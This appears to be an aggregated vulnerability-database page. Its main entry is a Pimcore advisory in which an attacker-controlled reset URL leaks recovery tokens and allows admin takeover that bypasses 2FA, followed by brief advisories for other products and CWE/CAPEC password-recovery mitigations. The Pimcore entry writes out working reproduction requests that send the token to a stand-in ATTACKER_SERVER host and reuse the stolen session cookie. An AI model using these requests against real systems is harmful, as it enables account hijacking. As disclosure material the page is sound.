Vulnerability from github – Published: 2026-08-28 19:04 – Updated: 2026-08-28 19:04
VLAI
Summary
Pimcore: Account Takeover via Password Reset URL Injection allows unauthenticated attacker to hijack any admin account with 2FA bypass
Details

Summary

An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.

Vulnerability Details

Unauthenticated Endpoint Accepts Attacker URL

The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLIC_STUDIO_API voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.

final readonly class ResetPassword
{
    public function __construct(
        private string $username,
        private string $resetPasswordUrl  // attacker-controlled, no validation
    ) {}
}

Token Appended to Attacker URL

In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:

$token = $this->authenticationResolver->generateTokenByUser($user);
$loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;

The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.

Token Login Bypasses 2FA

src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:

$pimcoreUser->setTwoFactorAuthentication('required', false);

Token Validity

The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.

1. Send password reset with attacker URL (no authentication needed)

POST /pimcore-studio/api/user/reset-password HTTP/1.1
Host: TARGET
Content-Type: application/json

{"username":"admin","resetPasswordUrl":"https://ATTACKER_SERVER:9999/steal"}

image

  • Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB

2. Confirm token was generated

Database query shows the recovery token was created:

 name    has_token   token_prefix
 admin   1           def50200cdbd3c1292288a716c623f

3. Token login (after victim clicks the link in their email)

POST /pimcore-studio/api/login/token HTTP/1.1
Host: TARGET
Content-Type: application/json

{"token":"def50200cdbd3c1292288a716c623f...full_token..."}

Response:

HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict
Set-Cookie: pimcore_studio_auth_profile_token=d7a9ad; path=/; httponly; samesite=lax

image

4. Verify full admin access with the stolen session

GET /pimcore-studio/api/users HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419

Response: HTTP/1.1 200 OK

{"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]}

image

Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.

Impact

An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.

The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).

Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.

Recommended Fix

Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:

$loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;

If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.

Supporting Materials

Vulnerability from github – Published: 2025-08-20 15:31 – Updated: 2025-08-20 15:31
VLAI
Details

A vulnerability in the password reset workflow of the Touch Lebanon Mobile App 2.20.2 allows an attacker to bypass the OTP reset password mechanism. By manipulating the reset process, an unauthorized user may be able to reset the password and gain access to the account without needing to provide a legitimate authentication factor, such as an OTP. This compromises account security and allows for potential unauthorized access to user data.

Details

A security flaw has been discovered in Sangfor Operation and Maintenance Security Management System up to 3.0.12. This affects the function edit_pwd_mall of the file /fort/login/edit_pwd_mall. The manipulation of the argument flag results in weak password recovery. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

GHSA-HP5W-3HXX-VMWF

Vulnerability from github – Published: 2026-04-01 16:08 – Updated: 2026-04-08 18:19
VLAI
Summary
Payload: Pre-Authentication Account Takeover via Parameter Injection in Password Recovery
Details

Impact

A vulnerability in the password recovery flow could allow an unauthenticated attacker to perform actions on behalf of a user who initiates a password reset.

Users are affected if:

  • They are using Payload version < v3.79.1 with any auth-enabled collection using the built-in forgot-password functionality.

Patches

Input validation and URL construction in the password recovery flow have been hardened.

Users should upgrade to v3.79.1 or later.

Workarounds

There are no complete workarounds. Upgrading to v3.79.1 is recommended.

Severity
9.1 (Critical)

Details

A Weak Password Recovery Mechanism for Forgotten Password exists in Esri Portal for ArcGIS versions 12.1 and earlier on Windows, Linux and Kubernetes. A remote, unauthorized attacker may assume ownership of a user’s account by manipulating this mechanism. ArcGIS Administrators should configure an email server with ArcGIS Enterprise to facilitate user self-service password recovery. The ability for an administrator to reset a user’s password remains unchanged.

Mitigation
Architecture and Design

Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.

Mitigation
Architecture and Design

Do not use standard weak security questions and use several security questions.

Mitigation
Architecture and Design

Make sure that there is throttling on the number of incorrect answers to a security question. Disable the password recovery functionality after a certain (small) number of incorrect guesses.

Mitigation
Architecture and Design

Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.

Mitigation
Architecture and Design

Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.

Mitigation
Architecture and Design

Assign a new temporary password rather than revealing the original password.

CAPEC-50: Password Recovery Exploitation

An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.
